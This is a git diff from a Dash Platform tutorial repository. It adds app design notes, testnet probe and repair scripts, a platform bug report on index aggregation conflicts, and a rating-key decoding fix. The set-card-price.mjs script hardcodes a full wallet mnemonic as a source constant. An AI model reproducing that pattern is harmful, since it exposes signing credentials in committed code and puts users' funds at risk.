as a thin re-exporter + the `setupDashClient()` convenience wrapper that keeps dotenv loading + the `clientConfig` object for Node tutorials. All existing import paths in Node tutorials continue to work byte-compatibly. + +The modern app imports from the core via a local path/alias (simplest: a file-copy or a symlink under `tutorial/nft-modern/src/dash/vendor/`). The goal is that the inline `IdentityKeyManager` class in the existing HTML (lines 196–289) becomes a single `import { IdentityKeyManager } from './vendor/setupDashClient-core.mjs'` in the modern app. + +## Critical files to reference + +- [../nft/nft-collectibles.html](../nft/nft-collectibles.html) — source of truth for schema, withAuthedCard, rarity thresholds, all operation logic +- [../nft/nft-collectibles.css](../nft/nft-collectibles.css) — dark theme palette + rarity gradients (port to `globals.css`) +- [../nft/CLAUDE.md](../nft/CLAUDE.md) — documented gotchas (transfer uses auth key not transfer key; must bump revision; etc.) +- [../README.md](../README.md) — establishes the tutorial narrative arc the new app should fit into +- `~/code/platform-tutorials/setupDashClient.mjs` — source to split +- `~/code/platform-tutorials/CLAUDE.md` — documents DIP-13 paths and Node tutorial conventions + +## Implementation sequence (high-level) + +Day-to-day task list with checkboxes is in [IMPLEMENTATION.md](./IMPLEMENTATION.md). Summary: + +1. **Scaffold** — Vite React-TS template, add Tailwind v4, `@dashevo/evo-sdk`. +2. **Split `setupDashClient.mjs`** — core + wrapper. Regress Node tutorials before touching the new app. +3. **Wire core into modern app** — copy/symlink into `src/dash/vendor/`. Smoke test. +4. **Port `CARD_SCHEMAS` + `ensureContract`** — verbatim from the HTML. Persist to localStorage. +5. **Port `withAuthedCard`** — verbatim from [../nft/nft-collectibles.html:767](../nft/nft-collectibles.html#L767). Keep named + commented. +6. **Port the six operation files + queries** — each with leading JSDoc. +7. **Session context + LoginModal** — in-memory mnemonic only, testnet-only banner. +8. **CardGrid + CardTile** — presentational; rarity gradient from `lib/rarity.ts`. +9. **Mint form + Starter Pack + 3 operation modals** — MintForm (single-card mint), StarterPack (Fire Dragon / Stone Golem / Shadow Fox, sequential 3-card mint matching the original HTML), Transfer, SetPrice, Purchase. +10. **Tabs + sub-tabs** — plain `useState`. +11. **Activity log** — preserved for educational streaming. +12. **Theme port** — dark colors + rarity gradients into `globals.css`. +13. **README (the treasure map)** — operation → file → SDK method table. +14. **E2E verification** — run full matrix in IMPLEMENTATION.md. + +## Educational affordances + +- **One op per file in `src/dash/`.** No service objects, no hook-soup. The SDK call is visible, unwrapped, at the top of each file. +- **Treasure-map README** — the single most important deliverable. `Mint | src/dash/mintCard.ts | sdk.documents.create`. +- **Every `src/dash/*.ts` leads with a JSDoc block** explaining what / why / which SDK method. +- **Plain React only.** No custom hooks that hide SDK calls. A learner who knows React but not Dash Platform shouldn't have to chase abstractions. +- **Activity log preserved.** Seeing "Minting…" → "Card minted!" messages stream in teaches the mental model of async Platform ops. +- **Browse-only mode preserved** — a learner without testnet Dash can explore the marketplace and read code. Write-capable tabs (Mint) are always visible but covered by a translucent login-overlay prompting login, matching the original HTML tutorial's pattern. +- **`withAuthedCard` kept as a named, commented helper.** Don't inline it, don't abstract it further. It's the one non-obvious pattern and deserves its own teachable file. + +## Tradeoffs (why not X) + +- **Next.js / SvelteKit / Remix**: push SDK toward server; mnemonic leaves browser or splits awkwardly; destroys self-custody story. +- **Plain Vite + vanilla JS**: tempting for minimalism, but the modal/tab/state complexity starts demanding hand-rolled reactivity, which is more distracting than `useState`. +- **shadcn/ui + Radix**: adds CLI ritual and a large dep tree that muddies the "here's the Dash code" story. +- **TanStack Query**: cleans up refetch logic but teaches the learner nothing about Dash Platform; `useEffect` + refresh nonce is ~10 lines. +- **Zustand / Redux**: overkill for three fields of session state. +- **Encrypted localStorage for "stay logged in"**: more realistic UX but introduces crypto-UX code that competes with the Platform story. Testnet-only in-memory matches the existing convention. + +## Verification plan + +Manual E2E on testnet with **two browser profiles** (to test cross-identity transfer + purchase): + +1. `npm run dev` → Profile A logs in with funded testnet mnemonic → identity resolves. +2. First run creates data contract via `ensureContract`; verify `contractId` persists in localStorage and reload resolves instantly. +3. Mint a card; rarity tier matches `lib/rarity.ts` output for its stats. +4. Switch My / All / Marketplace sub-tabs; priced vs. unpriced filtering correct. +5. Open SetPrice modal → set 10000 credits → card appears in Marketplace. +6. Profile B logs in with a different funded mnemonic + same `contractId`; purchases the card from Marketplace. Verify ownership flipped in both profiles' My tabs. +7. Profile B transfers a card to Profile A's identity ID; Profile A sees it after refresh. +8. Profile A burns a card; disappears from My + All. +9. Logout → "Browse only" → All + Marketplace render; Mint tab visible with login overlay covering its content; action buttons hidden on cards. +10. Error paths: invalid identity index → LoginModal surfaces error; transfer to invalid ID → SDK error surfaces in activity log. +11. Revision-bump regression: mint → setPrice → setPrice again. Both succeed without "revision out of date" errors (tests `withAuthedCard`'s fetch-before-mutate). +12. Rarity visual QA: mint low (common), mid (rare), high-stat (legendary) cards; confirm three distinct gradients. +13. **Framework-in-background check**: open `src/dash/mintCard.ts` cold. Can a web dev with zero Dash Platform knowledge understand it in one minute? If not, revise comments. +14. Run existing Node tutorials (`~/code/platform-tutorials/*.mjs`) after the setupDashClient split to confirm no Node regression. diff --git a/example-apps/dashmint-lab/set-card-price.mjs b/example-apps/dashmint-lab/set-card-price.mjs new file mode 100644 index 00000000..1a3f7c37 --- /dev/null +++ b/example-apps/dashmint-lab/set-card-price.mjs @@ -0,0 +1,70 @@ +/** + * One-shot script to set (or clear) the $price on a single DashMint card + * directly via the SDK, bypassing the React app. + * + * Use case: the card was listed at a price larger than Number.MAX_SAFE_INTEGER, + * so Document.toJSON() throws (dashpay/platform#3786) and the UI's + * "Edit price" button can't reach it. setPrice itself does not call toJSON, + * so this path still works. + * + * Run: + * node example-apps/dashmint-lab/set-card-price.mjs + * + * The mnemonic must own the card. + */ + +import { + createClient, + IdentityKeyManager, +} from "../../setupDashClient-core.mjs"; + +// --------------------------------------------------------------------------- +// Edit these. +// --------------------------------------------------------------------------- +const MNEMONIC = + "arm achieve banana interest leopard life guide squirrel ramp flush cherry begin"; +const NETWORK = "testnet"; +const CONTRACT_ID = "5hK6SMfN4m2vU1t9qhvngUUQjsXeMNwr8MZdFeGBH8Aa"; +const CARD_ID = "DAFsGgv4LW9biqVwqQ66TrJpRkUYV1oveY1BQDEU6RyD"; +// Credits. Pass 0n to remove the card from sale. +const NEW_PRICE = 1_000_000_000_000_000n; +// --------------------------------------------------------------------------- + +const sdk = await createClient(NETWORK); +const keyManager = await IdentityKeyManager.create({ + sdk, + mnemonic: MNEMONIC, + network: NETWORK, +}); +const { identity, identityKey, signer } = await keyManager.getAuth(); + +try { + const doc = await sdk.documents.get(CONTRACT_ID, "card", CARD_ID); + if (!doc) throw new Error(`Card ${CARD_ID} not found`); + + if (doc.ownerId?.toString?.() !== identity.id.toString()) { + throw new Error( + `Card is owned by ${doc.ownerId} but signed-in identity is ${identity.id}`, + ); + } + + doc.revision = BigInt(doc.revision ?? 0) + 1n; + + console.log( + NEW_PRICE === 0n + ? `Removing price from card ${CARD_ID}…` + : `Setting price ${NEW_PRICE} credits on card ${CARD_ID}…`, + ); + + await sdk.documents.setPrice({ + document: doc, + price: NEW_PRICE, + identityKey, + signer, + }); + + console.log(NEW_PRICE === 0n ? "Card removed from sale." : "Price set."); +} catch (e) { + console.error("Something went wrong:\n", e.message); + process.exitCode = 1; +} diff --git a/example-apps/dashproof-lab/IMPLEMENTATION.md b/example-apps/dashproof-lab/IMPLEMENTATION.md new file mode 100644 index 00000000..69aeb4e7 --- /dev/null +++ b/example-apps/dashproof-lab/IMPLEMENTATION.md @@ -0,0 +1,10 @@ +# Implementation Tracker — `dashproof-lab` + +- [x] Scaffold sibling app from the existing example-app template +- [x] Replace copied NFT contract and document operations with proof-of-existence flows +- [x] Add browser hashing helpers and normalized anchor query types +- [x] Build `Anchor`, `Verify`, and `History` screens +- [x] Rework session and settings flow for contract selection / registration +- [x] Replace copied tests with proof-specific coverage +- [ ] Run final build, lint, and test verification +- [ ] Set a real default deployed contract ID for fresh browse-only reads diff --git a/example-apps/dashproof-lab/PLAN.md b/example-apps/dashproof-lab/PLAN.md new file mode 100644 index 00000000..0bde31e2 --- /dev/null +++ b/example-apps/dashproof-lab/PLAN.md @@ -0,0 +1,39 @@ +# DashProof Lab — Design Notes + +Historical design record for the proof-of-existence example app. + +## Intent + +Build a modern React tutorial app that keeps the Dash Platform code readable and direct: + +- hash files locally in the browser +- store immutable proof documents on Dash Platform +- verify by querying the same SHA-256 hash +- inspect proof history by owner or `chainId` + +## Architecture + +- React + TypeScript + Vite SPA +- One Platform operation per file under `src/dash/` +- Single `SessionContext` for SDK connection, login state, and active contract ID +- File bytes never leave the browser; only the digest and metadata are submitted + +## Primary screens + +- `Anchor` — select file, hash locally, submit proof +- `Verify` — select file, hash locally, query by hash +- `History` — query by owner or `chainId` + +## Contract decisions + +- Immutable `anchor` documents +- `entryHash` and `previousId` stored as 32-byte `byteArray` fields +- `byHash` unique index prevents duplicate anchors for the same hash +- `byChain` and `byOwner` support the history views + +## Tutorial constraints + +- Keep the SDK calls in plain sight +- Avoid unnecessary data libraries or app abstractions +- Reuse the shared browser-safe `setupDashClient-core.mjs` +- Keep mnemonics in memory only diff --git a/example-apps/dashproof-lab/repro-anchor-query.mjs b/example-apps/dashproof-lab/repro-anchor-query.mjs new file mode 100644 index 00000000..a85e3536 --- /dev/null +++ b/example-apps/dashproof-lab/repro-anchor-query.mjs @@ -0,0 +1,81 @@ +import { createClient } from "../../setupDashClient-core.mjs"; + +const sdk = await createClient("testnet"); +const contractId = "HRAJ9564DHjbwRB1buhQtYxLiP97aCxMqa5Mgqy16Q3U"; +const chainId = "dashcore-23-1-2-x86-64-linux-gnu-tar"; +const entryHash = [ + 124, 77, 80, 71, 162, 82, 158, 25, 118, 233, 87, 249, 93, 92, 159, 98, 139, + 39, 105, 62, 225, 177, 31, 206, 18, 169, 249, 190, 33, 131, 58, 118, +]; + +const queries = [ + { + name: "no_filter", + query: { + dataContractId: contractId, + documentTypeName: "anchor", + limit: 5, + }, + }, + { + name: "chain_filter", + query: { + dataContractId: contractId, + documentTypeName: "anchor", + where: [["chainId", "==", chainId]], + orderBy: [ + ["chainId", "asc"], + ["$createdAt", "asc"], + ], + limit: 5, + }, + }, + { + name: "hash_filter", + query: { + dataContractId: contractId, + documentTypeName: "anchor", + where: [["entryHash", "==", entryHash]], + orderBy: [["entryHash", "asc"]], + limit: 5, + }, + }, +]; + +for (const { name, query } of queries) { + try { + const results = await sdk.documents.query(query); + const normalized = + results instanceof Map + ? Array.from(results.entries()) + : Array.isArray(results) + ? results.map((doc, i) => [String(i), doc]) + : Object.entries(results); + + console.log( + JSON.stringify( + { + name, + ok: true, + count: normalized.length, + ids: normalized.map(([id]) => id), + }, + null, + 2, + ), + ); + } catch (error) { + console.log( + JSON.stringify( + { + name, + ok: false, + message: error?.message ?? String(error), + stack: error?.stack ?? null, + }, + null, + 2, + ), + ); + } +} diff --git a/example-apps/dashrate/CLAUDE.md b/example-apps/dashrate/CLAUDE.md index 69c85c1f..d34218eb 100644 --- a/example-apps/dashrate/CLAUDE.md +++ b/example-apps/dashrate/CLAUDE.md @@ -32,7 +32,7 @@ This app is the showcase for Platform 4.0's relational query features — provab - **[src/session/types.ts](src/session/types.ts)** — the `Session` shape (`{ sdk, keyManager, identityId }`) shared by App and the hooks. - **[src/lib/](src/lib/)** — pure utilities, no SDK references: [logger.ts](src/lib/logger.ts) (`Logger`/`LogLevel` types, `errorMessage`, `consoleLogger`), [format.ts](src/lib/format.ts) (`formatAverage`, `formatDate`, `shortId`), [ratings.ts](src/lib/ratings.ts) (`RATING_ROWS`, `emptySummary`/`emptyDistribution`, `ownerLabel`, `reviewCountLine`, text `stars`). - **[test/](test/)** — Vitest + Testing Library, flat directory, named after the subject. Three kinds: unit tests over `src/dash/` and `src/lib/` that stub the `DashSdk` shape (`*.test.ts`); component tests rendered with Testing Library (`*.test.tsx`); and hook tests via `renderHook`. Default Vitest env is `node`; component/hook tests opt into DOM with a `// @vitest-environment jsdom` pragma at the top of the file (the vitest `include` covers `**/*.test.{ts,tsx}`). Component/hook tests **mock the SDK loaders** (`vi.mock("../src/dash/sdkModule", …)` / `vi.mock("../src/dash/sdkCore", …)`) so the 8 MB bundle never imports — never let a test pull `@dashevo/evo-sdk` into the jsdom process. [tsconfig.app.json](tsconfig.app.json) includes `test`, so `tsc -b` (run by `build`) strict-typechecks the `.test.tsx` files — keep mock factories and stub props fully typed. `npm run test:coverage` runs the suite under v8 coverage. -- **[test/e2e/](test/e2e/)** — Playwright specs plus shared `fixtures.ts`, driven by [playwright.config.ts](playwright.config.ts), which auto-starts `npx vite` on port 5182. Two projects (`chromium-desktop` / `chromium-mobile`) so every spec exercises both layouts. Runs against real testnet — no SDK mocks. The specs are read-only shell smoke tests ([smoke](test/e2e/smoke.spec.ts) — navigation, browse a resource, How-it-works; [settings](test/e2e/settings.spec.ts) — the sign-in form renders/gates without signing in); they assert rendering, not live rating data. Run locally via `npm run test:e2e`. [tsconfig.app.json](tsconfig.app.json)'s `exclude: ["test/e2e"]` keeps these out of the app `tsc -b` (Playwright typechecks them itself). +- **[test/e2e/](test/e2e/)** — Playwright specs plus shared `fixtures.ts`, driven by [playwright.config.ts](playwright.config.ts), which auto-starts `npx vite` on port 5182. Two projects (`chromium-desktop` / `chromium-mobile`) so every spec exercises both layouts. Runs against real testnet — no SDK mocks. The specs are read-only: shell smoke tests ([smoke](test/e2e/smoke.spec.ts) — navigation, browse a resource, How-it-works; [settings](test/e2e/settings.spec.ts) — the sign-in form renders/gates without signing in; [lite](test/e2e/lite.spec.ts) — the single-file companion) assert rendering, not live rating data. The exception is [ratings](test/e2e/ratings.spec.ts), which checks a data-independent invariant on live data in both the app and the lite page: the grouped per-star distribution must sum to the ungrouped total count. It's the only test that would catch a network-side change to grouped-count key encoding. Run locally via `npm run test:e2e`. [tsconfig.app.json](tsconfig.app.json)'s `exclude: ["test/e2e"]` keeps these out of the app `tsc -b` (Playwright typechecks them itself). ## Review contract @@ -70,7 +70,7 @@ Same as the sibling apps: the `@dashevo/evo-sdk` browser bundle is ~8 MB and mus ## Gotchas -- **Grouped-count map keys are raw index-key bytes, NOT the value.** `count` with `groupBy: ["rating"]` returns a `Map` keyed by the hex of the property's order-preserving index-key encoding, not the integer. For a small positive integer that's the sign-flipped single byte `0x80 | value` → rating 5 is key `"85"`, rating 1 is `"81"` (verified against the live contract — it is _not_ an 8-byte big-endian form). `ratingKeyHex(r) = (0x80 | r).toString(16)` in [queries.ts](src/dash/queries.ts) re-encodes each known rating to look it up. The SDK exposes no decoder, so the client encodes the values it's looking for rather than decoding what comes back. +- **Grouped-count map keys are raw index-key bytes, NOT the value.** `count` with `groupBy: ["rating"]` returns a `Map` keyed by the hex of the property's order-preserving index-key encoding, not the integer. `rating` is a single unsigned byte, and its encoding changed with protocol version 14 ([dashpay/platform#5350](https://github.com/dashpay/platform/pull/5350), which also rekeys existing data): PV14+ returns the plain byte (rating 5 → `"05"`), ≤ PV13 returned the sign-flipped byte (rating 5 → `"85"`). `ratingFromKeyHex` in [queries.ts](src/dash/queries.ts) decodes either form by masking off the top bit; `getRatingDistribution` decodes the returned keys rather than looking up pre-encoded ones. The SDK exposes no decoder. Unit tests feed literal network-format keys — never build stub keys with the app's own encoder, or an encoding change goes unnoticed (that's how the PV14 break slipped through). - **`rangeCountable` is a separate flag from `countable`, required for range/grouped counts.** A range count (the `between` on `rating` that drives the grouped distinct walk) needs `rangeCountable: true` on the index, with the range field as the **last** index property. A `countable`-only index fails at query time with `range count requires a range_countable: true index whose last property matches the range field`. - **Don't mix `summable` and a deeper count-only index on a shared prefix** — it registers fine but breaks every document insert (`NotCountedOrSummed-wrapping is only supported for the six sum-bearing tree variants`). `resourceRatingAggregate` is intentionally count-only (no `summable`) so its `resourceId` value tree isn't count+sum and can host `resourceRatingDistribution`'s count-only `rating` continuation. The average is derived from the distribution instead of a `sum`/`average` query. Full analysis: [dashpay/platform#3960](https://github.com/dashpay/platform/issues/3960). - **`between` value is a 2-element array, inclusive.** `["rating","between",[1,5]]` matches `1 <= rating <= 5`. The drive expects exactly two bounds. diff --git a/example-apps/dashrate/PLATFORM_ISSUE_index_aggregation_conflict.md b/example-apps/dashrate/PLATFORM_ISSUE_index_aggregation_conflict.md new file mode 100644 index 00000000..689b4f52 --- /dev/null +++ b/example-apps/dashrate/PLATFORM_ISSUE_index_aggregation_conflict.md @@ -0,0 +1,121 @@ +# Platform issue: contract with conflicting index aggregation types registers but fails all document inserts + +**Tracked as:** [dashpay/platform#3960](https://github.com/dashpay/platform/issues/3960) + +**SDK / version:** `@dashevo/evo-sdk@4.0.0-rc.2` (wasm-sdk `4.0.0-rc.2`), testnet. + +**Severity:** A contract that passes registration validation is **permanently unusable** — every +`documents.create` / `documents.replace` fails. The bad state is only reachable after spending +credits to publish, and the contract's indices are immutable, so there is no recovery short of +publishing a new contract. + +## Summary + +Two indices on the same document type that **share an index prefix** but declare **different +aggregation types** at/under that shared prefix register successfully, but make the document type +un-writable. Document insert fails when the drive lays out the index trees, because it tries to +`NotCountedOrSummed`-wrap a count-only child tree under a count+sum parent tree — an unsupported +combination. + +Expectation: either (a) contract registration/validation should **reject** this index +combination, or (b) the document-insert tree layout should **support** it. Today it does neither — +registration accepts it and insert hard-fails, which is the worst outcome. + +This looks like a validation gap (and likely a missing test): nothing at `dataContract.create` / +`contracts.publish` catches the cross-index tree-type conflict. + +## Reproduction + +Document type with two indices sharing the `resourceId` prefix: + +```jsonc +"indices": [ + // ... ownerAndResource (unique), ownerReviews ... + { + "name": "resourceRatingAggregate", + "properties": [{ "resourceId": "asc" }], + "countable": "countable", + "summable": "rating" // → resourceId value tree is a CountSumTree + }, + { + "name": "resourceRatingDistribution", + "properties": [{ "resourceId": "asc" }, { "rating": "asc" }], + "countable": "countable", + "rangeCountable": true // → rating property-name level is a (count-only) ProvableCountTree + } +] +``` + +(`rating` is `type: integer`, `minimum: 1`, `maximum: 5`, and in the doctype `required` array.) + +Steps: + +1. Publish the contract → **succeeds**, returns a contract ID. +2. Create any `review` document (any resourceId / rating) → **fails**. + +Observed error (base64-wrapped on the wire; decoded): + +``` +storage: drive: not supported error: NotCountedOrSummed-wrapping is only supported for +the six sum-bearing tree variants — see `for_known_path_key_empty_not_summed_tree`. +``` + +## Root cause analysis (from platform source) + +Indices compile into a shared `IndexLevel` tree keyed by property path; index aggregation info is +attached at the level where each index **terminates** +(`rs-dpp/src/data_contract/document_type/index_level/mod.rs:240-272`). + +- `resourceRatingAggregate` terminates at the **`resourceId`** level with `countable + summable` → + that level's value tree becomes a **`CountSumTree`**. +- `resourceRatingDistribution` shares the `resourceId` prefix and terminates at **`rating`** with + `countable + rangeCountable` → the `rating` property-name continuation tree becomes a count-only + **`ProvableCountTree`** (`property_name_tree_type` in + `rs-drive/src/drive/document/insert/add_indices_for_index_level_for_contract_operations/v1/mod.rs:196-202`). + +At insert, the `rating` continuation must be inserted **under** the shared `resourceId` value tree. +Because that parent aggregates (`CountSumTree`), the child is wrapped via +`wrap_in_non_aggregated_for_parent_tree_type` (`rs-drive/src/fees/op.rs:601-647`). A `CountSumTree` +parent dispatches to `for_known_path_key_empty_not_counted_or_summed_tree` +(`rs-drive/src/fees/op.rs:658-692`), whose accepted set is **only the six sum-bearing tree +variants** (`SumTree`, `BigSumTree`, `ProvableSumTree`, `CountSumTree`, `ProvableCountSumTree`, +`ProvableCountProvableSumTree`). The inner tree here is a count-only `ProvableCountTree`, which is +not in that set → `DriveError::NotSupported`. + +In short: **a count-only continuation cannot be `NotCountedOrSummed`-wrapped under a count+sum +parent**, but the contract validator allows two indices to produce exactly that shared-prefix +layout. + +## Why it's a platform-side gap + +- **Validation should catch it at registration.** The conflict is statically determinable from the + index set (shared prefix where one index makes the prefix value tree count+sum and a deeper index + needs a non-sum continuation under it). `validate_update` already reasons about index + countability changes (`index_level/mod.rs:315-328`), so there is precedent for cross-index + countability validation — it just doesn't cover this create-time prefix-aggregation conflict. +- **Or insert should support it.** If the layout is intended to be legal, the wrapper dispatch + needs a path for wrapping a count-only (or normal) child under a count+sum parent. +- Likely a **missing test**: a doctype with `[a]` countable+summable AND `[a, b]` countable + (+rangeCountable) — i.e. an aggregate index and a distribution/range index sharing a prefix — does + not appear to be exercised end-to-end (register → insert). + +## Suggested investigation entry points (platform repo) + +- `rs-drive/src/fees/op.rs` — `wrap_in_non_aggregated_for_parent_tree_type` (~:601), + `for_known_path_key_empty_not_counted_or_summed_tree` (~:658), and the error string (~:678). +- `rs-drive/src/drive/document/insert/add_indices_for_index_level_for_contract_operations/v1/mod.rs` + — `property_name_tree_type` / `value_tree_type` selection (~:196-253), child-wrap decision + (~:255-262). +- `rs-dpp/src/data_contract/document_type/index_level/mod.rs` — index-tree assembly (:200-277), + `validate_update` countability checks (:315-328) as a model for a create-time check. +- Contract-creation validator (`rs-dpp` document-type / index validation) — where a new rule + rejecting conflicting shared-prefix aggregation types would live. + +## Workaround for app authors (until fixed) + +Avoid two indices that share a prefix while disagreeing on aggregation at/under that prefix. Either: + +- make the range/distribution index independent of the aggregate index's prefix, or +- don't combine `summable` on a short prefix with a deeper `countable`/`rangeCountable` index on the + same prefix, or +- compute one of the two (e.g. the distribution) client-side. diff --git a/example-apps/dashrate/probe-distribution.mjs b/example-apps/dashrate/probe-distribution.mjs new file mode 100644 index 00000000..4f71a542 --- /dev/null +++ b/example-apps/dashrate/probe-distribution.mjs @@ -0,0 +1,136 @@ +// Read-only probe to diagnose why the grouped rating-distribution count +// returns 0 while the document exists. Runs several count() variants against +// the live testnet contract. No signing, no writes. +// +// node example-apps/dashrate/probe-distribution.mjs +// +// Contract: BdgTqaTAPYMyhp1WdeWdcvYSgoD7AuJ7tVCaCSXyQgyP (has 1 dashnote 5★ review) +import { EvoSDK } from "@dashevo/evo-sdk"; + +const CONTRACT = "BdgTqaTAPYMyhp1WdeWdcvYSgoD7AuJ7tVCaCSXyQgyP"; +const RESOURCE = "dashnote"; +const TYPE = "review"; + +const sdk = EvoSDK.testnetTrusted(); +await sdk.connect(); + +function show(label, map) { + const entries = [...map.entries()].map(([k, v]) => `${k || "∅"}=${v}`); + console.log(` ${label}: {${entries.join(", ")}}`); +} + +async function tryCount(label, query) { + try { + const map = await sdk.documents.count(query); + show(label, map); + } catch (e) { + console.log(` ${label}: ERROR ${e.message}`); + } +} + +console.log(`\nContract ${CONTRACT}, resource "${RESOURCE}"\n`); + +// Confirm the on-chain contract is what we registered: indices + flags. +try { + const fetched = await sdk.contracts.fetch(CONTRACT); + const json = + typeof fetched?.toJSON === "function" ? fetched.toJSON() : fetched; + const review = + json?.documentSchemas?.review ?? json?.documents?.review ?? json?.review; + const indices = review?.indices ?? review?.indexes; + console.log("Contract indices on-chain:"); + console.log(JSON.stringify(indices, null, 2)); +} catch (e) { + console.log(`Contract fetch: ERROR ${e.message}`); +} + +// 0. plain query — does the document come back? +try { + const docs = await sdk.documents.query({ + dataContractId: CONTRACT, + documentTypeName: TYPE, + where: [["resourceId", "==", RESOURCE]], + orderBy: [["resourceId", "asc"]], + limit: 10, + }); + const arr = docs instanceof Map ? [...docs.values()] : docs; + console.log(`0. query resourceId==: ${arr.length} docs`); + for (const d of arr) { + const j = typeof d?.toJSON === "function" ? d.toJSON() : d; + console.log( + ` rating=${j.rating} owner=${String(j.$ownerId).slice(0, 8)}`, + ); + } +} catch (e) { + console.log(`0. query: ERROR ${e.message}`); +} + +console.log("\nCounts:"); + +// 1. plain total count (resourceId == only) — known to return 1 +await tryCount("1. count resourceId== (no orderBy)", { + dataContractId: CONTRACT, + documentTypeName: TYPE, + where: [["resourceId", "==", RESOURCE]], +}); + +// 2. the app's distribution query verbatim +await tryCount("2. groupBy rating, between [1,5], orderBy rating asc", { + dataContractId: CONTRACT, + documentTypeName: TYPE, + where: [ + ["resourceId", "==", RESOURCE], + ["rating", "between", [1, 5]], + ], + orderBy: [["rating", "asc"]], + groupBy: ["rating"], +}); + +// 3. same but orderBy includes the prefix field too +await tryCount("3. groupBy rating, orderBy [resourceId,rating]", { + dataContractId: CONTRACT, + documentTypeName: TYPE, + where: [ + ["resourceId", "==", RESOURCE], + ["rating", "between", [1, 5]], + ], + orderBy: [ + ["resourceId", "asc"], + ["rating", "asc"], + ], + groupBy: ["rating"], +}); + +// 4. no groupBy — does the range alone (resourceId== + rating between) count? +await tryCount("4. range only, NO groupBy", { + dataContractId: CONTRACT, + documentTypeName: TYPE, + where: [ + ["resourceId", "==", RESOURCE], + ["rating", "between", [1, 5]], + ], + orderBy: [["rating", "asc"]], +}); + +// 5. point lookup: resourceId== AND rating==5 (Equal, the filter path) +await tryCount("5. count resourceId== AND rating==5 (filter path)", { + dataContractId: CONTRACT, + documentTypeName: TYPE, + where: [ + ["resourceId", "==", RESOURCE], + ["rating", "==", 5], + ], +}); + +// 6. groupBy with no orderBy +await tryCount("6. groupBy rating, between, NO orderBy", { + dataContractId: CONTRACT, + documentTypeName: TYPE, + where: [ + ["resourceId", "==", RESOURCE], + ["rating", "between", [1, 5]], + ], + groupBy: ["rating"], +}); + +console.log(); diff --git a/example-apps/dashrate/probe-seed.mjs b/example-apps/dashrate/probe-seed.mjs new file mode 100644 index 00000000..db0ac439 --- /dev/null +++ b/example-apps/dashrate/probe-seed.mjs @@ -0,0 +1,42 @@ +// Throwaway read-only diagnostic. MN="..." node probe-seed.mjs ; then rm probe-seed.mjs +import { EvoSDK } from "@dashevo/evo-sdk"; +import { + IdentityKeyManager, + PLATFORM_VERSION_OVERRIDE, +} from "../../setupDashClient-core.mjs"; + +const mnemonic = (process.env.MN || "").trim(); +if (!mnemonic) { + console.error('Set MN="..."'); + process.exit(1); +} + +const sdk = EvoSDK.testnetTrusted({ version: PLATFORM_VERSION_OVERRIDE }); +await sdk.connect(); +const km = await IdentityKeyManager.create({ + sdk, + mnemonic, + network: "testnet", + identityIndex: 0, +}); +const id = String(km.identityId ?? ""); +console.log("identityId:", id); + +const identity = await sdk.identities.fetch(id); // same call getSigner uses +const json = identity?.toJSON?.() ?? {}; +const keys = json.publicKeys ?? json.$publicKeys ?? json.public_keys ?? []; +console.log("on-chain public keys:"); +for (const k of keys) { + console.log( + ` id=${k.id} purpose=${k.purpose} level=${k.securityLevel} type=${k.type} readOnly=${k.readOnly ?? ""} disabledAt=${k.disabledAt ?? ""}`, + ); +} + +// What getSigner picks for each named key, and whether getPublicKeyById finds it +for (const name of ["master", "authHigh", "auth", "transfer", "encryption"]) { + const keyId = km.keys?.[name]?.keyId; + const found = identity?.getPublicKeyById?.(keyId); + console.log( + ` ${name} -> keyId ${keyId} : getPublicKeyById ${found ? "FOUND id=" + found.id?.() : "MISSING"}`, + ); +} diff --git a/example-apps/dashrate/public/dashrate-lite.html b/example-apps/dashrate/public/dashrate-lite.html index 48bfee0b..f7ab3f19 100644 --- a/example-apps/dashrate/public/dashrate-lite.html +++ b/example-apps/dashrate/public/dashrate-lite.html @@ -202,8 +202,13 @@

Recent reviews

return sdk; } - function ratingKeyHex(rating) { - return (0x80 | rating).toString(16); + // Grouped-count keys are the hex of the raw index-key byte: "05" for + // rating 5 on protocol v14+, "85" (sign bit flipped) before it. + // Masking off the top bit decodes both. + function ratingFromKeyHex(key) { + if (!/^[0-9a-f]{2}$/i.test(key)) return null; + const rating = parseInt(key, 16) & 0x7f; + return RATING_VALUES.includes(rating) ? rating : null; } function firstMapValue(counts) { @@ -212,11 +217,6 @@

Recent reviews

return Object.values(counts)[0]; } - function countValue(counts, key) { - const value = counts instanceof Map ? counts.get(key) : counts?.[key]; - return toBigInt(value, 0n); - } - function toBigInt(value, fallback = 0n) { if (typeof value === 'bigint') return value; if (typeof value === 'number' && Number.isFinite(value)) return BigInt(value); @@ -260,10 +260,13 @@

Recent reviews

orderBy: [['rating', 'asc']], groupBy: ['rating'], }); - return Object.fromEntries(RATING_VALUES.map((rating) => [ - rating, - countValue(counts, ratingKeyHex(rating)), - ])); + const distribution = Object.fromEntries(RATING_VALUES.map((rating) => [rating, 0n])); + const entries = counts instanceof Map ? counts.entries() : Object.entries(counts ?? {}); + for (const [key, value] of entries) { + const rating = ratingFromKeyHex(key); + if (rating !== null) distribution[rating] += toBigInt(value, 0n); + } + return distribution; } async function listResourceReviews(sdk, resourceId, ratingFilter) { diff --git a/example-apps/dashrate/src/dash/queries.ts b/example-apps/dashrate/src/dash/queries.ts index 2618452b..b2d1907e 100644 --- a/example-apps/dashrate/src/dash/queries.ts +++ b/example-apps/dashrate/src/dash/queries.ts @@ -49,18 +49,21 @@ export function firstMapValue(map: Map): T | undefined { } /** - * Index-key for an integer rating in a grouped `count` result map. + * Decode a grouped `count` result-map key back to its rating, or null if + * the key isn't a valid rating. * - * Platform encodes an integer index key in its order-preserving form: the - * sign bit is flipped so negatives sort before positives. For a small - * positive rating that's a single byte `0x80 | rating`, hex-encoded — e.g. - * rating 5 → `0x85` → "85". (Verified against the live contract: a grouped - * count over ratings returns keys "81".."85", NOT 8-byte big-endian.) The - * client builds the expected keys by encoding each known rating rather than - * decoding the returned keys. + * Keys are the hex of the raw index-key bytes, not the value. `rating` + * (integer 1–5) is stored as a single unsigned byte, and its encoding + * depends on the network's protocol version: + * - PV14+: plain value byte — rating 5 → `0x05` → "05" + * - ≤ PV13: sign bit flipped — rating 5 → `0x85` → "85" + * (dashpay/platform#5350; the PV14 upgrade rekeys existing data.) Masking + * off the top bit decodes both forms — a 1–5 rating never sets it. */ -export function ratingKeyHex(rating: number): string { - return (0x80 | rating).toString(16); +export function ratingFromKeyHex(key: string): number | null { + if (!/^[0-9a-f]{2}$/i.test(key)) return null; + const rating = parseInt(key, 16) & 0x7f; + return (RATING_VALUES as readonly number[]).includes(rating) ? rating : null; } function toTimestamp( 